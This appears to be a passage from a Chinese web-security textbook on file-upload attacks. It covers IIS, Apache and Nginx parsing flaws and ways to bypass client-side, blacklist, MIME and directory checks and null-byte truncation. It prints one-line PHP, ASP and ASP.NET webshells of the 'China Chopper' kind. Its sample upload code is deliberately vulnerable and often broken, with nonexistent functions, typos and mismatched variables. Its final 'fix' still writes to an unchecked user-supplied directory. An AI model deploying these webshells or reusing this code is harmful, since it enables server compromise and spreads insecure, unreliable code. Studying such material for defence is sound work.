解析漏洞: 攻击者利用上传漏洞时,通常与web容器的解析漏洞配合在一起。常见的web容器有IIS、Nginx、Apache、Tomcat等。
IIS解析漏洞
IIS6.0在解析文件时存在以下两个解析漏洞
1. 当建立*.asa,*.asp格式的文件夹,其目录下的任意文件都将被IIS当作asp文件解析
例如,建立文件夹parsing.asp,在里面新建一个test.txt。其内容为 <%=NOW()%>。其内容被IIS当作asp脚本来解析。
2. 当文件为*.asp;1.jpg时。同样会以asp脚本执行。
WebDav是一种基于HTTP 1.1协议的通信协议。它扩展了HTTP协议,在GET,POST,HEAD等几个方法以外添加了一些新的方法。
在开启WebDav扩展的服务器后,如果支持PUT、Mover、Delete等方法,就可能存在一些安全隐患。攻击者可能通过PUT方法向服务器上传危险脚本,甚至删除服务器上的任意文件
Apache解析漏洞
在Apache1.x和2.x中存在漏洞。
www.xxser.com/1.php.rar
上述的文件名为1.php.rar,本应弹出下载文件的提示,但却显示了phpinfo()的内容。这就是apache的解析漏洞。
1.php.rar内容如下
<?php
phpinfo();
?>
apache在解析文件有一个原则:当碰到不认识的扩展名时,从后向前解析,知道碰到认识的扩展名为止。如果都不认识,会暴漏源码。
在apache安装目录下"/conf/mime.types"中有详细的扩展名列表
PHP CGI解析漏洞
Nginx是一款高性能的Web服务器,通常作为PHP的解析容器。它曾被爆出两个解析漏洞
http://www.xxser.com/1.jpg/1.php
此时的1.jpg会被当作PHP脚本来解析
此时的1.php是不存在的,但1.jpg却按照php脚本解析了。问题就在这个"1.php"中(1.php不是特定的,可以随意命名),这就意味着攻击者可以上传图片木马,然后在url加上/xxx.php就可以获得网站的Webshell。
绕过上传漏洞
程序员在防止上传漏洞时可以分为两种
1. 客户端检测: 客户端使用JavaScript检测,在文件未上传时,就对文件进行验证
2. 服务器端检测: 服务端脚本一般会检测文件的MIME类型,检测文件扩展名是否合法,甚至是否嵌入恶意代码等
"中国菜刀"。仅需要一段简短的代码便可以管理网站。目前支持的服务器端脚本包括: php、ASP、ASP.NET、JSP等,并且支持HTPTPS安全连接的网站
PHP: <?php @eval($_POST['mima']);?>
ASP: <%eval request("mima")%>
ASP.NET <%@ Page Language="Jscript"%><%eval(Request.Item["mima"],"unsafe");%>
"图片一句话"是将一句话插入在图片里面。例如: Edjpgcom这个软件只需要将图片拖入程序中,在填写一句话,就可以制作图片一句话木马。
1. 客户端检测
很多程序员仅通过JavaScript拒绝非法上传,是十分低级的验证
例入下列代码对文件扩展名进行验证,如果不是白名单中的扩展名将不会提交到服务器
<html>
<head>
<title>图片上传</title>
<script type="text/javascript">
function checkFile() {
var flag=false; //是否可以上传的标志位
var str=document.getElementById("file").value; //获取文件名
str=str.substring(str.lastIndexOf('.')+1); //得到扩展名
var arr=new Array('png','bmp','gif','jpg'); //允许上传的扩展名
for(var i=0;i<arr.length;i++) {
if(str==arr[i]) {
flag=true; //判断文件名是否合法
}
}
if(!flag) {
alert('文件不合法');
}
return flag;
}
</script>
</head>
<body>
<from action="upload.php" method="post" onsubmit="checkFile" enctype="multipart/form-data">
<input type="file" name="file" id="file" /><br/>
<input type="submit" value="提交" name="submit" />
</form>
</body>
</html>
upload.php用来接收文件,在接受文件后,将文件重命名放到本目录下。
<?php
if(isset($_POST["submit"])) {
$name= $_FILES['file']['name']; //接收文件名
$name=md5(data('Y-m-d h:m:s')).strrchr($name,"."); //文件名重命名操作,保留原有扩展名
$size=$_FILES['files']['size']; //接收文件大小
$tmp=$_FILES['file']['tmp_name']; //临时路径
move_upload_file($tmp,$name); //移动临时文件到当前文件目录
echo "文件上传成功 path:".$name;
}
?>
针对客户端验证有非常多的绕过方式
(1). 使用FireBug
当单机"提交"按钮后,Form将出发onsubmit事件,它将会调用checkFile函数。这个函数将会检测文件扩展名是否合法,并返回一个布尔值。
我们可以使用FireBug直接将onsubmint事件删除,就可以绕过。
在没有FireBug前,攻击者通常会在本地构造一个表单
<form action="http://www.xxser.com/upload.php" method="post" enctype="multipart/form-data">
<input type="file" name="file" id="file" /><br/>
<input type="submit" value="提交" name="submit" />
</form>
(2). 中间人攻击
这种方式与FireBug完全不同,它是使用Burp按照正常的流程通过JavaScript验证,然后在传输中的HTTP层做手脚。
首先把木马文件扩展名改为一张正常的图片的扩展名。在上传时使用Burp拦截数据,将其中的扩展名改为php。就可以绕过客户端验证。
这里需要注意: 在HTTP协议中有请求头Content-Length,代表实体正文长度,而修改filename意为着实体长度的改变。
如: Content-Length长度为200.把文件中的filename="xxser.jpg"修改为"1.php",实体正文少了4个字符。所以需要把Content-Length改为196。
2. 服务器端检测
主要包含一下几点: 白名单、黑名单扩展名过滤,文件类型检测,文件重命名等操作。
(1). 白名单与黑名单验证
黑名单过滤方式
它是一种不安全的方式,黑名单定义了一系列不安全的扩展名。
<?php
$Blacklist=array('asp','php','jsp','php5','asa','aspx'); //黑名单
if(isset($_POST["submit"])) {
$name= $_FILES['file']['name']; //接收文件名
$extension=substr(strrchr($name,"."),1); //得到扩展名
$boo=false;
foreach($Blacklist as $key => $values) {
if($value==$extension) {
$boo=true;
break;
}
}
if(!boo) { //如果没有命中,则开始上传
$size=$_FILES['file']['size']; //接收文件大小
$tmp=$_FILES['file']['tmp_name']; //临时路径
move_upload_file($tmp,$name); //移动临时文件到当前文件目录
echo "文件上传成功<br/> path:" .$name;
} else {
echo "文件不合法";
}
}
?>
通过上述代码可以看到,如果上传文件为asp,php,jsp.php5,asa,aspx,将不再保存文件。但实际效果没有那么好,攻击者可以使用很多方法绕过黑名单检测
1. 可以从黑名单中找到Web开发人员忽略的扩展名,如: cer
2. 在Upload.php中并没有对接受的文件扩展名进行大小写转换操作,那就意为着可以上传php、asp这样的扩展名,而此类扩展名在Windows平台依然会被Web容器解析
3. 在win系统下,如果文件名是以"."或者空格结尾,系统会自动去除"."与空格,利用这个可以绕过黑名单验证,如: 上传"asp." or "asp "的扩展名程序。
白名单过滤方式
白名单的过滤方式与黑名单相反,比黑名单拥有更好的防御机制。
<?php
$WhiteList=array('rar','jpg','png','bmp','gif','jpg','doc'); //白名单
if(isset($_POST["submit"])) {
$name= $_FILES['file']['name']; //接收文件名
$extension=substr(strrchr($name,"."),1); //得到扩展名
$boo=false;
foreach($$WhiteList as $key => $value) {
if($value==$extension) {
$boo=true;
}
}
if($boo) {
$size=$_FILES['file']['size']; //接收文件大小
$tmp=$_FILES['file']['tmp_name']; //临时文件大小
move_upload_file($tmp,$name); //移动临时文件到当前文件目录
echo "文件上传成功<br/> path:".$name;
} else {
echo "文件不合法";
}
}
?>
白名单仅仅是防御上传漏洞的第一步。白名单并不能完全防御上传漏洞,就像前面说的IIS解析漏洞一样,可以顺利通过验证。
(2). MIME验证
MIME类型用来设定某种扩展名文件的打开方式,当具有该扩展名的文件被访问时,浏览器会自动使用指定的应用程序打开。如:gif图片MIME为 image/gif,CSS文件MIME类型为text/css。
上传时,开发人员会对文件MIME类型做验证
if($_FILES['file']['type']=="img/jpeg") { //判断是否时JPG格式
$imageTempName=$_FILES['file']['tmp_name'];
$imageName=$_FILES['file']['name'];
$last=substr($imageName,strrpos($imageName,"."));
if(!is_dir("uploadFile")) {
mkdir("uploadFile");
}
$imageName=md5($imageName).$last;
move_upload_file($imageTempName,"./uploadFile/".$imageName); //指定上传文件到uploadFile目录
echo("文件上传成功 path=/upload/$imageName");
} else {
echo("文件类型错误,请重新上传");
exit();
}
上传php文件时,并使用Burp拦截查看MIME类型,更改Content-Type即可通过验证。
(3). 目录验证
在文件上传时,程序允许用户将文件放到指定的目录中,而有些开发人员通常会做一个操作,如果目录存在,就将目录写入,不存在则先建立目录,再写入
<form action="upload.php" method="post" enctype="multipart/form-data">
<input type="file" name="file" /><br/>
<input type="hidden" name="Extension" value="up" />
<input type="submit" value="提交" name="submit" />
</form>
PHP Code:
if($_FILES['file']['type']=="image/jpeg") {
$imageTempName=$_FILES['file']['tmp_name'];
$imageName=$_FILES['file']['name'];
$last=substr($imageName,strrpos($imageName,".")); //获取扩展名
if($last!=".jpg") {
exit("图片类型错误");
}
$Extension=$_POST['Extension']; //获取文件上传目录
if(!is_dir($Extension)) { //如果文件不存在,就建立
mkdir($Extension)
}
$imageName=md5($imageName).$last;
move_upload_file($imageTempName,"./$Extension/".$imageName);
echo("文件上传成功 path=/$Extension/$imageName");
} else("文件类型错误,请重新上传");
exit();
}
在Upload.php中有一下代码
if(!is_dir($Extension)) {
mkdir($Extension);
}
这段代码是引发漏洞的关键点,因为HTML中有一个隐藏标签<input type="hidden" name="Extension" value="up" />这是文件上传默认的文件夹,而我们可以更改此参数: 使用FireBug将Value值改为pentest.asp,并提交上传一句话图片木马文件
程序在接受文件后,对目录判断,如果服务器不存在pentest.asp目录,如果Web容器为IIS6.0,那么网页木马被解析。
(4). 截断上传攻击
截断上传攻击在ASP程序中最常见,下列是一段简单的ASP代码:
<%
username=request("username")
Response.wrtie username
%>
这两句代码非常简单,接收username值,输出。
访问 url:http://www.xxser.com:801/test.asp?username=xxser%00admin
结果只输出"xxser",%00将后面的字符都截断了
可以使用Burp拦截请求
将文件上传名称改为"1.asp(空格)xxser.jpg",单机hex选项卡进入十六进制编辑模式,将文件名中空格的十六进制20改为00.单机GO,可以发现最终的文件为1.asp,后面的字符已经被截断。
修复上传漏洞
上传漏洞最终的形成原因有以下两点:
目录过滤不严,攻击者可以建立畸形目录
文件未重命名,攻击者可能利用Web容器解析漏洞
如果把握这两点风险就会大大降低
<?php
if(!isset($_POST['submit'])) {
exit();
}
$arr=Array('jpg','gif','jpeg','png','rar','zip','doc','docx'); //白名单
$imageTempName=$_FILES['file']['tmp_name']; //接收临时文件路径
$imageName=$_FILES['file']['name']; //接收文件名称
$last=strtolower(substr($imageName,strrpos($imageName,".")+1)); //取得扩展名,转换为小写
if(!in_array($last,$arr)) {
exit("不支持上传的扩展名.$last");
}
$Extension=$_POST['Extension']; //获得文件上传目录
$imageName=md5($imageName).".".$last; //对文件重命名
move_upload_file($imageTempName,"./$Extension/".$imageName);
echo("文件上传成功 path=/$Extension/$imageName");
?>
上述代码基本可以解决上传漏洞,但不能完全防御。比如Web容器为Apache,并不能识别RAR格式,那么就可以上传"正常文件",配合Apache解析漏洞入侵。